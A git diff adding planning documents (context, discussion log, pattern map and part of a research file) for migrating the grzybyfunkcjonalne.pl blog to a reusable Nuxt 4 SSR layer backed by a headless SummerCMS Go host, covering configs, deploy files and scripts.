+- `../sm-summercmsio-app/README.md` — host + Nuxt submodule layout, build and deploy scripts
+- `../sm-summercmsio-app/vue-summercmsio-app/` — Nuxt 4 setup: `nuxt.config.ts`, i18n, seo, fonts, tests
+- `../sm-summercmsio-app/deploy/`, `scripts/` — nginx/supervisor/smoke precedents (adapt for SSR, D-07)
+
+### Host application
+- `../sm-grzybyfunkcjonalne-app/` — `summer.yaml`, `config/`, `go.work`, plugins `golem15.{user,translate,journal}`
+- `modules/cabana/README.md` § Configuration — `backend.uri` (D-09)
+
+### Legacy PHP site (styling, content and URL source, read-only)
+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/` — page URLs and component settings (D-15)
+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/layouts/default.htm`, `partials/`, `assets/` — visual baseline for the refresh
+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/content/`, `config/fields.yaml`, `lang/pl/` — homepage, blocks and kontakt copy (D-11)
+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/faq`, `plugins/golem15/menu` — FAQ and menu data to inline (D-12)
+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/` — existing post export (D-17)
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- `vue-summercmsio-app`: a working Nuxt 4 + `@nuxtjs/i18n` 10 + `@nuxtjs/seo` 5 + `@nuxt/fonts` config and `node --test` setup to copy for the layer and the app.
+- `sm-summercmsio-app` scripts: `build.sh`, `smoke.sh`, `check-deploy.sh` and `deploy/` (nginx, supervisor, `.env` template). Adapt them from static/embedded to SSR plus a Go upstream.
+- `sm-journal-plugin` `/_journal/api/v1`: posts, `posts/{slug}`, categories, tags and rss. The layer's only data source.
+- `journal:import-posts` / `journal:export-posts` (Phase 15 D-13) for the content migration.
+- cabana `backend.uri` for `/gfadmin`.
+
+### Established Patterns
+- Naming: `sm-<name>-app` host, `vue-<name>-app` frontend submodule. The new shared frontend repo is `vue-journal-layer`.
+- Framework-neutral READMEs: the layer README must not name grzybyfunkcjonalne (use `blog` / `acme`).
+- `go vet` and `go test ./...` stay green in every Go repo touched. Unit tests are the last plan.
+
+### Integration Points
+- New repos: `vue-journal-layer` (shared) and `vue-grzybyfunkcjonalne-app` (site, submodule of `sm-grzybyfunkcjonalne-app`).
+- `sm-grzybyfunkcjonalne-app`: `backend.uri: /gfadmin`, CORS/limiter config for the Nuxt server origin if needed, media serving, build/deploy scripts for two processes.
+- Staging server = the PHP site's server: nginx vhost for staging, supervisor entries for Go and Nuxt.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- "We will create new nuxt theme, per summercms standards, styling based on grzybyfunkcjonalne, but refreshed."
+- The admin path must be `/gfadmin`.
+- The user asked whether the layer could come straight from git.golem15.com the way PHP Composer VCS repos do. Yes: a pnpm git dependency, with no registry setup.
+- Menu and FAQ plugins will be needed later; they are recorded as todos and are not part of this phase.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- `sm-menu-plugin` port (todo `menu-plugin-port.md`)
+- `sm-faq-plugin` port (todo `faq-plugin-port.md`)
+- Sitemanager/blocks plugin port for editor-managed homepage sections
+- Contact form via a Go endpoint, and the newsletter signup (backlog 999.1)
+- English locale for grzybyfunkcjonalne.pl
+- Production cutover (nginx switch on the PHP server, Winter kept as rollback): an operational step after the phase
+
+### Reviewed Todos (not folded)
+- `sitemap-plugin-port.md`: superseded for this site by `@nuxtjs/seo` sitemap (D-13); stays on the backlog for a site that needs editor-defined sitemaps.
+- `nest-framework-packages-under-modules.md`, `2026-10-01-benchmark-the-application-on-wintercms-vs-summercms.md`, `2026-10-07-translate-messages-as-nuxt-i18n-json-editor.md`: keyword matches only, not this phase.
+
+</deferred>
+
+---
+
+*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
+*Context gathered: 2026-10-07*

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-DISCUSSION-LOG.md

@@ -0,0 +1,72 @@
+# Phase 16: grzybyfunkcjonalne.pl on reusable blog views - Discussion Log
+
+> **Audit trail only.** Do not use as input to planning, research, or execution agents.
+> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
+
+**Date:** 2026-10-07
+**Phase:** 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+**Areas discussed:** Reuse shape, Render & deploy, Non-Journal content, URLs/i18n/cutover
+
+---
+
+## Pre-discussion
+
+While the arsha theme was being scouted, the user cut the research short: "we will create new nuxt theme, per summercms standards, styling based on grzybyfunkcjonalne, but refreshed." That settled the rendering approach before any gray areas were presented (no Go template engine, no Twig port).
+
+## Reuse shape
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Nuxt layer repo | `vue-journal-layer` consumed with `extends` | ✓ |
+| Starter template | Copy per blog | |
+| One configurable app | Branding set by config | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Neutral base + tokens | CSS custom properties, the app overrides them | ✓ |
+| Headless only | Unstyled | |
+| Full grzyby design | Layer carries the grzyby look | |
+
+Distribution: the user asked what the npm option would need and whether git.golem15.com could be used the way Composer VCS repos are. git.golem15.com turned out to be Gitea 1.25.4, and the options were explained again.
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| pnpm git dependency | `git+https://…#tag`, lockfile-pinned, no setup | ✓ |
+| Gitea npm registry | `.npmrc`, a token and a publish step | |
+| Git submodule + path extends | ssu-managed | |
+
+Views in the layer (multi): post list + pagination, single post, category + tag listings, author page + RSS link (all selected).
+
+## Render & deploy
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| SSR + cached routes | Node server, swr/ISR | ✓ |
+| Prerender + rebuild on publish | Same as summercms.io | |
+| Prerender shell + client fetch | Weak SEO | |
+
+App repo: submodule in the host app (✓) vs a standalone repo.
+Admin access: "1, but we'll need /gfadmin for backend". The admin is exposed on the site domain at `/gfadmin`.
+Server: the same server as the PHP site (✓) vs the summercms.io server vs deciding later.
+
+## Non-Journal content
+
+Homepage: in the Nuxt app repo (✓) vs a sitemanager/blocks plugin vs Journal posts.
+FAQ & menu: "Static in the app, we'll need menu and faq plugins in future so add migrating these to todo". Todos were created.
+SEO/sitemap: `@nuxtjs/seo` in the layer (✓) vs porting `sm-sitemap-plugin`.
+Forms: contact info only, forms dropped (✓) vs a Go contact endpoint vs research first.
+
+## URLs, i18n, cutover
+
+URLs: keep the PHP URLs identical (✓) vs moving categories vs a new scheme with a 301 map.
+Locales: Polish only, i18n-ready (✓) vs pl + en.
+Migration: `journal:import-posts` + media copy (✓) vs a DB script vs letting research decide.
+Cutover: stop at staging (✓) vs a production cutover inside the phase.
+
+## Claude's Discretion
+
+Plan split, layer route configuration mechanism, markdown rendering, cache TTLs, deploy script layout, whether to run a UI-SPEC first.
+
+## Deferred Ideas
+
+The menu, FAQ and sitemanager/blocks plugin ports; the contact form and newsletter; an English locale; the production cutover.

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md

@@ -0,0 +1,278 @@
+# Phase 16: grzybyfunkcjonalne.pl on reusable blog views - Pattern Map
+
+**Mapped:** 2026-10-09
+**Files analyzed:** 26 (grouped where they share an analog)
+**Analogs found:** 21 / 26
+
+Paths are relative to `/media/nvme/dev/golem15/summercms.io/summercms/`. All analogs are git-tracked source (no `.msd` mirrors). D-20 (author endpoint) and D-21 (category content field) are pre-execution quick tasks in `sm-journal-plugin` and are **not** mapped here; only their consumption by the layer is.
+
+## File Classification
+
+| New/Modified File | Plan | Role | Data Flow | Closest Analog | Match |
+|---|---|---|---|---|---|
+| `vue-journal-layer/package.json` | 1 | config | build | `sm-summercmsio-app/vue-summercmsio-app/package.json` | exact (move nuxt/vue to devDeps) |
+| `vue-journal-layer/nuxt.config.ts` | 1 | config | build | `vue-summercmsio-app/nuxt.config.ts` | role-match (layer: absolute paths) |
+| `vue-journal-layer/modules/journal.ts` | 1 | module | build-time route registration | none in repo; RESEARCH Pattern 1 | no analog |
+| `vue-journal-layer/app/composables/useJournalApi.ts`, `app/utils/client.ts`, `types.ts`, `query.ts` | 1 | service/client | request-response | none (summercms.io has no data fetch); RESEARCH Pattern 2 | no analog |
+| `vue-journal-layer/app/utils/{pagination,htmlGate,routes}.ts` | 1 | utility | transform | `vue-summercmsio-app/app/utils/scrollSpy.ts` | role-match (pure TS, node --test) |
+| `vue-journal-layer/app/journal-pages/*.vue` (PostIndex, Post, Category, Tag, Author) | 1 | page | request-response (SSR) | `vue-summercmsio-app/app/pages/index.vue` | partial |
+| `vue-journal-layer/app/components/Journal/*.vue` | 1 | component | render | `vue-summercmsio-app/app/components/*` | role-match |
+| `vue-journal-layer/app/assets/css/journal-tokens.css`, `journal-base.css` | 1 | config (style) | — | `vue-summercmsio-app/app/assets/css/tokens.css`, `base.css` | exact |
+| `vue-journal-layer/i18n/locales/{pl,en}.json` | 1 | config (i18n) | — | `vue-summercmsio-app/i18n/locales/en.json` | exact |
+| `vue-journal-layer/server/api/__sitemap__/journal.ts` | 1 | server route | request-response | none; RESEARCH Pattern 5 | no analog |
+| `vue-journal-layer/README.md` | 1 | docs | — | `vue-summercmsio-app/README.md` (neutral names: `blog`/`acme`) | role-match |
+| `vue-grzybyfunkcjonalne-app/package.json` | 2 | config | build | `vue-summercmsio-app/package.json` | exact (+ git dep) |
+| `vue-grzybyfunkcjonalne-app/nuxt.config.ts` | 2 | config | build | `vue-summercmsio-app/nuxt.config.ts` | exact (SSR instead of generate) |
+| `vue-grzybyfunkcjonalne-app/app/pages/{index,kontakt,trwaja-prace}.vue`, `app/error.vue` | 2 | page | render | `vue-summercmsio-app/app/pages/index.vue` | exact |
+| `vue-grzybyfunkcjonalne-app/app/components/*` (Hero, About, Cta, Services, Faq, SiteHeader, SiteFooter, Journal overrides) | 2 | component | render | `vue-summercmsio-app/app/components/*` | exact |
+| `vue-grzybyfunkcjonalne-app/app/data/{menu.ts,faq.pl.json}` | 2 | config/data | — | `vue-summercmsio-app/app/data/terminal.json` | role-match |
+| `vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css` | 2 | config (style) | — | `vue-summercmsio-app/app/assets/css/tokens.css` | exact |
+| `vue-grzybyfunkcjonalne-app/i18n/locales/pl.json` | 2 | config (i18n) | — | `vue-summercmsio-app/i18n/locales/en.json` | exact |
+| `sm-grzybyfunkcjonalne-app/.gitmodules` (add submodule) | 2/3 | config | — | `sm-summercmsio-app/.gitmodules` | exact |
+| `sm-grzybyfunkcjonalne-app/config/backend.yaml` | 3 | config | — | itself (currently `uri: /backend`) | exact |
+| app-local plugin `sm-grzybyfunkcjonalne-app/plugins/golem15/grzyby/plugin.go` (hosts the command) + `summer.yaml` entry | 3 | plugin | — | `sm-journal-plugin/plugin.go:60-65` (`Commands()`), `sm-summercmsio-app/plugins/golem15/summercms/plugin.go` | role-match |
+| `.../console/import_featured_images.go` (D-22) | 3 | command | file-I/O + CRUD | `sm-journal-plugin/console/import_posts.go` | exact |
+| `sm-grzybyfunkcjonalne-app/deploy/nginx/*.conf` | 3 | config | request routing | `sm-summercmsio-app/deploy/nginx/summercms.io.conf` | role-match (two upstreams) |
+| `sm-grzybyfunkcjonalne-app/deploy/supervisor/*.conf` (Go + Nuxt) | 3 | config | process | `sm-summercmsio-app/deploy/supervisor/summercms-io.conf` | exact (x2) |
+| `sm-grzybyfunkcjonalne-app/deploy/env.example` | 3 | config | — | `sm-summercmsio-app/deploy/env.example` | exact (+ `SUMMER_URL`, `NUXT_*`) |
+| `sm-grzybyfunkcjonalne-app/scripts/{build.sh,smoke.sh,check-deploy.sh,urls.txt,migrate.sh}` | 3/4 | script | batch | `sm-summercmsio-app/scripts/{build.sh,smoke.sh,check-deploy.sh}` | role-match |
+| Tests: layer/app `tests/*.test.ts`, Go `console/*_test.go` | 5 | test | — | `vue-summercmsio-app/tests/scrollSpy.test.ts`, `sm-grzybyfunkcjonalne-app/boot_test.go` | exact |
+
+## Pattern Assignments
+
+### `vue-journal-layer/package.json` and `vue-grzybyfunkcjonalne-app/package.json`
+
+**Analog:** `sm-summercmsio-app/vue-summercmsio-app/package.json` (whole file)
+```json
+{
+  "name": "vue-summercmsio-app",
+  "private": true,
+  "type": "module",
+  "scripts": {
+    "build": "nuxt build", "dev": "nuxt dev", "generate": "nuxt generate",
+    "preview": "nuxt preview", "prepare": "nuxt prepare",
+    "test": "node --test --test-reporter=tap tests/*.test.ts"
+  },
+  "engines": { "node": ">=22.18" },
+  "dependencies": {
+    "@nuxt/fonts": "0.14.0", "@nuxtjs/i18n": "10.4.0", "@nuxtjs/seo": "5.2.1",
+    "nuxt": "4.4.8", "vue": "3.5.35"
+  },
+  "devDependencies": { "typescript": "5.9.3" }
+}
+```
+Adapt: layer keeps the three modules in `dependencies`, moves `nuxt`/`vue` to `devDependencies` (RESEARCH Installation). App adds `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` and does not re-list modules at other versions (Pitfall 4). Drop `generate` from the app (SSR, D-07). Copy `.nvmrc` (22.22.0), `pnpm-workspace.yaml`, `tsconfig.json` from the same directory.
+
+### `nuxt.config.ts` (layer and app)
+
+**Analog:** `vue-summercmsio-app/nuxt.config.ts` (lines 1-66)
+```ts
+export default defineNuxtConfig({
+  compatibilityDate: '2025-07-15',
+  devtools: { enabled: false },
+  modules: ['@nuxt/fonts', '@nuxtjs/i18n', '@nuxtjs/seo'],
+  css: ['~/assets/css/tokens.css', '~/assets/css/base.css'],
+  fonts: { families: [ { name: 'Roboto', weights: [300,400,500,700], styles: ['normal'], subsets: ['latin','latin-ext'], global: true } ] },
+  i18n: {
+    strategy: 'prefix_except_default',
+    defaultLocale: 'en',
+    locales: [{ code: 'en', language: 'en-US', file: 'en.json', name: 'English' }],
+    langDir: 'locales/',
+    baseUrl: 'https://summercms.io',
+  },
+  site: { url: 'https://summercms.io', name: 'SummerCMS', description: '...', defaultLocale: 'en' },
+  ogImage: { enabled: false },
+  sitemap: { autoI18n: false },
+})
+```
+- **Layer:** keep `modules`, replace `~/` css paths with `fileURLToPath(new URL('./app/assets/css/journal-tokens.css', import.meta.url))` (anti-pattern: relative/`~` paths resolve to the consumer); add `resolve('./modules/journal')` to modules; locales pl+en; `sitemap: { sources: ['/api/__sitemap__/journal'] }`; declare `runtimeConfig.journal.apiBase` and `runtimeConfig.public.journal.apiBase` (`/_journal/api/v1`).
+- **App:** `extends: ['vue-journal-layer']`, `journal.routes` (RESEARCH Pattern 1 app excerpt: `category: '/:category'`, `author: '/autor/:author'`, `tag: false`), `defaultLocale: 'pl'` with pl only, `site.url` grzyby, `routeRules: { '/**': { swr: 300 } }`, `runtimeConfig.public.gaId` empty (D-23 `NUXT_PUBLIC_GA_ID`). Fonts: Open Sans/Jost/Poppins family list in the same shape. Remove the `nitro.prerender` / `/docs` link-checker blocks; add `linkChecker.excludeLinks` for `/gfadmin`, `/_journal/**`, `/storage/**`.
+- Comment style: short explanatory comments above each block, as the analog does.
+
+### `vue-journal-layer/modules/journal.ts`, `app/composables/useJournalApi.ts`, `server/api/__sitemap__/journal.ts`
+
+**No codebase analog.** Use RESEARCH.md Pattern 1 (`defineNuxtModule` + `extendPages`, route names `journal-<key>`, `path === false` skips), Pattern 2 (server `apiBase` + forwarded `x-forwarded-for`), Pattern 3 (category resolves against `GET /categories?include_empty=1`, 404 via `createError({ statusCode: 404, fatal: true })`, D-24; render D-21 category `content` above the list), Pattern 5 (sitemap source paging `per_page=30` until `meta.last_page`). Author page consumes the D-20 endpoint; plan 1 checkpoints if absent. Put the pure logic (query building, page parsing, route-path validation, html gate, sitemap loc building from `journal.routes`) in `app/utils/*.ts` so it is `node --test`-able like `scrollSpy.ts`.
+
+### `app/utils/*.ts` (pure TS, both repos)
+
+**Analog:** `vue-summercmsio-app/app/utils/scrollSpy.ts` paired with `tests/scrollSpy.test.ts`. Exported constants + pure functions, no Nuxt imports, so tests import with an explicit `.ts` extension:
+```ts
+import { test } from 'node:test'
+import assert from 'node:assert/strict'
+import { activeSection, SPY_SECTIONS, SPY_THRESHOLD } from '../app/utils/scrollSpy.ts'
+
+test('no sections means no active link', () => {
+  assert.equal(activeSection([]), '')
+})
+```
+
+### CSS tokens (layer `journal-tokens.css`, app `tokens.css`)
+
+**Analog:** `vue-summercmsio-app/app/assets/css/tokens.css` (lines 1-20): single `:root { ... }` block, grouped by family with a trailing comment per variable naming its use:
+```css
+/* Design tokens from the summercms.io handoff. Component styles use these. */
+:root {
+  --navy-900: #18223a; /* terminal background */
+  --yellow-500: #f5c55a; /* accent */
+  --text: #e9edf3;   /* body text */
+```
+Layer uses the `--journal-color-*`, `--journal-font-*`, `--journal-space-*`, `--journal-radius-*` prefix (D-03). App overrides on `:root:root` or `html` (RESEARCH Pattern 4), seeded with `#0D705D/#27AE60/#138C74/#1AAC8F/#444444`.
+
+### Pages and components (both repos)
+
+**Analog:** `vue-summercmsio-app/app/pages/index.vue` and `app/components/*` (SFCs consuming i18n keys from `i18n/locales/*.json`, tokens only, no hard-coded colors). Layer pages live in `app/journal-pages/` (not `app/pages/`, anti-pattern); layer components under `app/components/Journal/` so the app overrides by the same name. Links via `useLocalePath()` with route names.
+
+### i18n locale files
+
+**Analog:** `vue-summercmsio-app/i18n/locales/en.json`, plus the leaf-walk check in `tests/output.test.ts` (lines 34-45: `type Messages = { [key: string]: string | Messages }`, `loadMessages()`, `leaves(tree, prefix)`). Reuse that helper in plan 5 to assert pl/en key parity in the layer.
+
+### `sm-grzybyfunkcjonalne-app/.gitmodules`
+
+**Analog:** `sm-summercmsio-app/.gitmodules` lines 1-3:
+```
+[submodule "vue-summercmsio-app"]
+	path = vue-summercmsio-app
+	url = git@git.golem15.com:golem15/vue-summercmsio-app.git
+```
+Submodule rule: commit and push inside the submodule first, then bump the gitlink as a separate commit.
+
+### `sm-grzybyfunkcjonalne-app/config/backend.yaml`
+
+Current content:
+```yaml
+# Admin mount path. Override with SUMMER_BACKEND__URI.
+uri: /backend
+```
+Change to `uri: /gfadmin` (D-09). Also review `config/http.yaml` (trusted proxy `127.0.0.1/32` at lines 15-16) - keep as is.
+
+### App-local plugin + `import_featured_images.go` (D-22)
+
+**Command analog:** `sm-journal-plugin/console/import_posts.go`
+
+Imports (lines 3-21) - stdlib first, then framework modules, then gorm:
+```go
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"git.golem15.com/golem15/summercms/modules/backpack"
+	"git.golem15.com/golem15/summercms/modules/bonfire"
+	"gorm.io/gorm"
+)
+```
+Command declaration (lines 38-63): a constructor returning `bonfire.Command` that delegates to a testable function taking `*gorm.DB`:
+```go
+func ImportPosts(app *backpack.App) bonfire.Command {
+	return bonfire.Command{
+		Name:        "journal:import-posts",
+		Description: "Import journal posts with translations from JSON files.",
+		Flags: []bonfire.Flag{
+			{Name: "path", Description: "Import directory (default: journal-export)"},
+			{Name: "force", Description: "Update existing posts (default: skip existing)", Bare: true},
+			{Name: "dry-run", Description: "Show what would be imported without making changes", Bare: true},
+		},
+		Run: func(ctx context.Context, in bonfire.Input, out bonfire.Output) error {
+			path := flagOrDefault(in, "path", defaultExportPath)
+			...
+			stats, err := ImportFromDir(ctx, mustDB(app), path, force, dry, out, nil)
+			...
+			out.Info(fmt.Sprintf("Results: %d created, %d updated, %d skipped, %d failed", ...))
+			return nil
+		},
+	}
+}
+```
+Core loop + error handling (lines 66-120): nil-DB guard, `os.Stat` dir check, per-item failures counted into a stats struct with `out.Error(...)` and `continue`, fatal DB errors returned; whole run in one transaction (`work := func(tx *gorm.DB) error`). Copy this shape for `grzyby:import-featured-images --map map.json --source <dir> [--dry-run]` with `Created/Skipped/Failed` stats; idempotency = skip when an `attach.File` row with the same `disk_name` + `attachment_id` + `field` exists. Helpers `flagOrDefault`, `flagOn`, `mustDB` are unexported in the journal console package - re-declare locally.
+
+**Attachment API** (`summercms.go/modules/lagoon/attach`):
+- `attach.BlobKey(diskName)` = `PartitionDirectory(diskName) + diskName` (thumb.go:54-69) - the blob key under bucket `file://./storage/app/uploads/public` (host `config/storage.yaml`).
+- `attach.File` struct (file.go:26-45): set `DiskName, FileName, FileSize, ContentType, Field: "featured_images", AttachmentID: strconv(postID), AttachmentType: "Golem15\\Journal\\Models\\Post"`; `IsPublic` is `*bool` (nil = DEFAULT TRUE).
+- Look up post id by host `slug` (which is the pl slug after D-25).
+
+**Plugin host analog:** `sm-journal-plugin/plugin.go:60-65`:
+```go
+func (p *Plugin) Commands() []bonfire.Command {
+	return []bonfire.Command{
+		console.ExportPosts(p.app),
+		console.ImportPosts(p.app),
+	}
+}
+```
+Plugin skeleton: `sm-summercmsio-app/plugins/golem15/summercms/plugin.go` lines 9-40 and 76-78 (`ID()`, `Requires()`, `Register`, `Boot`, `func init() { party.Register(&Plugin{}) }`). Here implement `pact.HasCommands` instead of `HasRoutes`; store `app` in `Register`. Register in `summer.yaml` `plugins:` list (`id: golem15.grzyby`, module path) and regenerate `plugins.gen.go`/`main.go` with `summer build` (main.go is generated - do not hand-edit; it already appends `pact.HasCommands` commands). Whether the plugin lives as an in-repo directory (no separate module) is a planner decision; `go.work` must include it.
+
+### `deploy/supervisor/*.conf`
+
+**Analog:** `sm-summercmsio-app/deploy/supervisor/summercms-io.conf` (whole file):
+```ini
+[program:summercms-io]
+command=/srv/summercms-io/bin/summercms-io serve --addr 127.0.0.1:8095
+directory=/srv/summercms-io
+user=summercms
+environment=SUMMER_ENV="production"
+autostart=true
+autorestart=true
+startsecs=3
+stopsignal=TERM
+stopwaitsecs=15
+redirect_stderr=true
+stdout_logfile=/var/log/supervisor/summercms-io.log
+stdout_logfile_maxbytes=10MB
+stdout_logfile_backups=5
+```
+Duplicate for `[program:grzyby-nuxt]` with `command=node .output/server/index.mjs`, `environment=NITRO_HOST="127.0.0.1",NITRO_PORT="...",NUXT_JOURNAL_API_BASE="http://127.0.0.1:<go>/_journal/api/v1"`. Keep the header comment style (path on server, why `directory=` matters).
+
+### `deploy/nginx/*.conf`
+
+**Analog:** `sm-summercmsio-app/deploy/nginx/summercms.io.conf` - copy the HTTP→HTTPS + ACME block, the ssl/HSTS/gzip lines, and the per-path `location ^~` style (analog uses `location ^~ /backend { return 404; }`). New: `location ^~ /gfadmin` and `^~ /_journal` → Go upstream, `= /rss.xml` → Go `/_journal/api/v1/rss`, `^~ /storage/app/uploads/public/` and `^~ /storage/app/media/` → `alias` disk with `nosniff`, `/` → Nuxt upstream; `proxy_set_header Host $host` and `X-Forwarded-For` (Pitfalls 5, 6). Staging `server_name`, not the apex (D-10).
+
+### `deploy/env.example`
+
+**Analog:** `sm-summercmsio-app/deploy/env.example` (whole file: header with owner/mode, one commented line per key, `SUMMER_DATABASE__DSN`, `SUMMER_APP__KEY`, `SUMMER_ADMIN__JWT__SECRET`, `SUMMER_GOLEM15__USER__JWT__SECRET`). Add `SUMMER_URL=https://<staging host>` and the Nuxt keys (`NUXT_JOURNAL_API_BASE`, `NUXT_PUBLIC_GA_ID`), either in this file or a second `nuxt.env.example`.
+
+### `scripts/build.sh`, `scripts/smoke.sh`, `scripts/check-deploy.sh`
+
+**Analog:** `sm-summercmsio-app/scripts/*`. Conventions to copy:
+- Header usage comment, `set -euo pipefail`, `ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"`, `die()`/`fail()` to stderr, tool presence loop (`for tool in pnpm go ...; do command -v ...`), submodule presence check (`[[ -f "$SITE/package.json" ]] || die "... run git submodule update --init"`), `SUMMERCMS_FRAMEWORK` override, `release|dev` mode (build.sh lines 1-50).
+- smoke.sh (lines 1-60): postgres:15 via `docker run -d --rm -p 127.0.0.1::5432`, `pg_isready` loop, `trap cleanup EXIT` killing PID and container, env-overridable port. Extend: start Nuxt too, run migrate → set pl default (D-25 SQL `UPDATE golem15_translate_locales SET is_default = (code = 'pl')`) → import, then curl every line of `scripts/urls.txt` (71 sitemap URLs + static routes) for expected status.
+- build.sh adapts `nuxt generate` + embed to `pnpm build` producing `.output/` shipped next to the binary.
+
+### Tests (plan 5)
+
+- Layer/app TS: `node --test` per `tests/scrollSpy.test.ts` pattern above.
+- Go: plain `func TestX(t *testing.T)` per `sm-grzybyfunkcjonalne-app/boot_test.go` (lines 1-30: `compass.Load("config")`, `cfg.Set("admin.jwt.secret", ...)`, `backpack.New(cfg)`, `party.Activate(app, PluginIDs)`). Extend boot test to assert `/gfadmin` mount and the new command is in the catalog. Featured-image command tests use a temp source dir and an in-memory/`mem://` bucket (comment in `config/storage.yaml`: "mem:// in unit tests") and assert idempotency on second run.
+
+## Shared Patterns
+
+### Pinned toolchain
+**Source:** `vue-summercmsio-app/package.json`, `.nvmrc`. **Apply to:** both Nuxt repos. Exact versions, no carets.
+
+### node --test with `.ts` imports
+**Source:** `vue-summercmsio-app/tests/*.test.ts`. **Apply to:** all TS unit tests; logic lives in `app/utils/*.ts` with no Nuxt auto-imports.
+
+### Bonfire command + testable core
+**Source:** `sm-journal-plugin/console/import_posts.go:38-120`. **Apply to:** any app-local Go command.
+
+### Deploy file headers
+**Source:** `sm-summercmsio-app/deploy/*`. **Apply to:** all deploy files: first comment names the server path and the reason for non-obvious settings; secrets never committed.
+
+### Neutral README
+**Apply to:** `vue-journal-layer/README.md` - never name grzybyfunkcjonalne; use `blog`/`acme`.
+
+## No Analog Found
+
+| File | Role | Data Flow | Reason |
+|---|---|---|---|
+| `vue-journal-layer/modules/journal.ts` | Nuxt module | build-time | No Nuxt module or layer exists in the workspace; use RESEARCH Pattern 1 |
+| `useJournalApi.ts` / `client.ts` | client | request-response | summercms.io app is static and fetches nothing; RESEARCH Pattern 2 |
+| `server/api/__sitemap__/journal.ts` | server route | request-response | No Nitro server routes exist; RESEARCH Pattern 5 |
+| `app/utils/htmlGate.ts` | utility | transform | Port of Go `FormatHTML` gate regexes from `sm-journal-plugin/classes`; no TS precedent |
+| `scripts/migrate.sh` / runbook (D-25 order) | script | batch | No migration runbook script precedent; build from smoke.sh conventions |
+
+## Metadata
+
+**Analog search scope:** `sm-summercmsio-app/` (vue app, deploy, scripts, site plugin), `sm-grzybyfunkcjonalne-app/`, `sm-journal-plugin/console` and `plugin.go`, `summercms.go/modules/lagoon/attach`
+**Files scanned:** ~25
+**Pattern extraction date:** 2026-10-09

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md

@@ -0,0 +1,741 @@
+# Phase 16: grzybyfunkcjonalne.pl on reusable blog views - Research
+
+**Researched:** 2026-10-09
+**Domain:** Nuxt 4 SSR layer (reusable Journal views) + Nuxt site app + headless SummerCMS Go host, WinterCMS content migration, two-process deploy
+**Confidence:** MEDIUM-HIGH (in-repo facts and live-site observations HIGH; Nuxt layer-over-git mechanics MEDIUM, need a Wave 0 spike)
+
+<user_constraints>
+## User Constraints (from CONTEXT.md)
+
+### Locked Decisions
+
+#### Rendering approach (user-stated before discussion)
+- **D-01:** Build a new Nuxt theme following summercms standards (the `vue-summercmsio-app` setup: Nuxt 4, `@nuxtjs/i18n`, `@nuxtjs/seo`, `@nuxt/fonts`, pnpm, node `--test`). The styling is based on grzybyfunkcjonalne but refreshed, not a pixel copy of arsha/Bootstrap. Go stays headless. No Go `html/template` theme layer and no Twig port. — **Reversibility:** costly — every public page is a Nuxt page that consumes the Journal JSON API.
+
+#### Reuse shape
+- **D-02:** The reusable blog views are a **Nuxt layer** in a new repo `vue-journal-layer` (`git.golem15.com/golem15/vue-journal-layer`). Site apps consume it with `extends`. — **Reversibility:** costly — later blogs build on the layer's structure.
+- **D-03:** The layer ships a **neutral base design driven by CSS custom-property tokens** (colors, fonts, spacing, radii). It looks clean on its own. Site apps override the tokens and can override any layer component. The refreshed grzyby design lives in the site app, not in the layer.
+- **D-04:** Distribution is a **pnpm git dependency** with a pinned tag: `git+https://git.golem15.com/golem15/vue-journal-layer.git#<tag>`, with the commit locked in `pnpm-lock.yaml`. There is no npm registry and no submodule for the layer. (`git.golem15.com` is Gitea 1.25.4, and a public repo needs no auth.) Local development uses `pnpm link` or a `link:../vue-journal-layer` override. A release is a git tag.
+- **D-05:** The layer owns these Journal views and their data access: post list with pagination (successor of `journalPosts`, with sort and page size configurable), single post (successor of `journalPost`: rendered markdown, featured image, meta, related/random posts like `randomPosts`), category and tag listings, the author page (successor of `journalAuthor`), and the RSS feed link. It also owns a typed client for `/_journal/api/v1` (anonymous GET routes only).
+- **D-06:** Route paths in the layer must be configurable or overridable by the app, because grzyby uses specific PHP URLs (D-15) that another blog may not want.
+
+#### Render & deploy
+- **D-07:** **SSR**: `nuxt build` runs as a Node server, with `routeRules` swr/ISR caching so a newly published post shows up without a rebuild and pages stay full HTML for SEO. Unlike summercms.io (`nuxt generate` embedded in the binary), this site runs two processes: the Go binary and the Nuxt Node server. — **Reversibility:** costly — deploy scripts, supervisor and nginx topology depend on it.
+- **D-08:** The Nuxt app is a new repo `vue-grzybyfunkcjonalne-app`, mounted as a **submodule in `sm-grzybyfunkcjonalne-app`**, the same way `vue-summercmsio-app` is mounted in `sm-summercmsio-app`.
+- **D-09:** The admin is exposed on the site domain at **`/gfadmin`** (set with `backend.uri: /gfadmin` in the host config; cabana supports this without a framework change). nginx routes `/gfadmin` and `/_journal` (plus media/storage paths) to Go and everything else to Nuxt. PHP used `/backend`; the new path is intentional.
+- **D-10:** Deploy target is the **same server as the PHP site**. Staging runs next to the live Winter install. The later cutover switches nginx, and the Winter install stays as the rollback.
+
+#### Non-Journal content
